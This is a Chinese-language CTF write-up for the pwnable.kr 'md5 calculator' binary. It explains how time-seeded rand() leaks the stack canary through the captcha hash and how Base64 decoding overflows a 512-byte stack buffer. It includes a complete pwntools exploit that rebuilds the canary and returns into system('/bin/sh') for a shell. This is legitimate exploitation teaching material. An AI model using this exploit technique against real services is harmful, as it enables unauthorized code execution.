pwnable.kr 之 md5 calculator

这题蛮有意思的,虽然叫 md5 calculator,但是跟md5算法没什么关系,主要考查的是伪随机。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int my_hash()
{
int i; // [esp+0h] [ebp-38h]
char v2[4]; // [esp+Ch] [ebp-2Ch]
int v3; // [esp+10h] [ebp-28h]
int v4; // [esp+14h] [ebp-24h]
int v5; // [esp+18h] [ebp-20h]
int v6; // [esp+1Ch] [ebp-1Ch]
int v7; // [esp+20h] [ebp-18h]
int v8; // [esp+24h] [ebp-14h]
int v9; // [esp+28h] [ebp-10h]
unsigned int canary; // [esp+2Ch] [ebp-Ch]

canary = __readgsdword(0x14u);
for ( i = 0; i <= 7; ++i )
*(_DWORD *)&v2[4 * i] = rand();
return v6 - v8 + v9 + canary + v4 - v5 + v3 + v7;
}

在my_hash函数中,将canary也放进去计算了,而srand()的种子用的是time(0),而tmie(0)函数返回的时间是以秒为单位的,所以时间一样我们就知道了种子,再结合my_hash,即可算出canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned int process_hash()
{
int v1; // [esp+14h] [ebp-214h]
char *ptr; // [esp+18h] [ebp-210h]
char v3[512]; // [esp+1Ch] [ebp-20Ch] BYREF
unsigned int v4; // [esp+21Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
memset(v3, 0, sizeof(v3));
while ( getchar() != 10 )
;
memset(g_buf, 0, sizeof(g_buf));
fgets(g_buf, 1024, stdin);
memset(v3, 0, sizeof(v3));
v1 = Base64Decode(g_buf, v3);
ptr = (char *)calc_md5(v3, v1);
printf("MD5(data) : %s\n", ptr);
free(ptr);
return __readgsdword(0x14u) ^ v4;
}

再看process_hash函数,Base64Decode会把g_buf字符串解码,并放到v3中去,由于输入的最大长度为1024,解码后的最大长度就是1024*3/4=768,而变量v3只有512,所以这里可以溢出。结合my_hash中得到的canary即可控制程序流。

网速会影响随机数的计算,所以可以将exp放到pwnable.kr服务器上运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import ctypes
import base64
import sys

local = 0
context.terminal=['tmux','splitw','-h']
context.arch = 'i386'
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
ll = ctypes.cdll.LoadLibrary
lib = ll('libc.so.6')
p = process('./hash')
elf = ELF('./hash',checksec = False)
# p = process(argv=['',pay])
# p = process(["./ld.so","./easygame"],env={"LD_PRELOAD":"./libc.so.6"})
else:
ll = ctypes.cdll.LoadLibrary
lib = ll('libc.so.6')
#elf = ELF('/home/fd/hash',checksec = False)
p = remote("127.0.0.1","9002")


sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def leak(name,addr):
log.info(name + " --> %s",hex(addr))

# lib.srand(lib.time(0)-3)
lib.srand(lib.time(0))
# my_hash
v1 = lib.rand()
v2 = lib.rand()
v3 = lib.rand()
v4 = lib.rand()
v5 = lib.rand()
v6 = lib.rand()
v7 = lib.rand()
v8 = lib.rand()

ru(" : ")
captcha = int(ru('\n')[:-1],10)
leak("captcha",captcha)

canary = captcha-v2-v6-v3+v4-v8-v5+v7
canary &= 0xffffffff
leak("canary",canary)

sl(str(captcha))
pay = 'a'*0x200
pay += p32(canary)
pay += 'b'*0xc
pay += p32(0x08048F92)
pay += p32(0x08048880) #system
pay += p32(0)
pay += p32(0x0804B0E0)
pay = base64.b64encode(pay)
#gdb.attach(p,"b *0x0804907E")
sla("me!\n",pay)
sla("\n","/bin/sh\x00")
sl("/bin/sh\x00")
p.interactive()
0%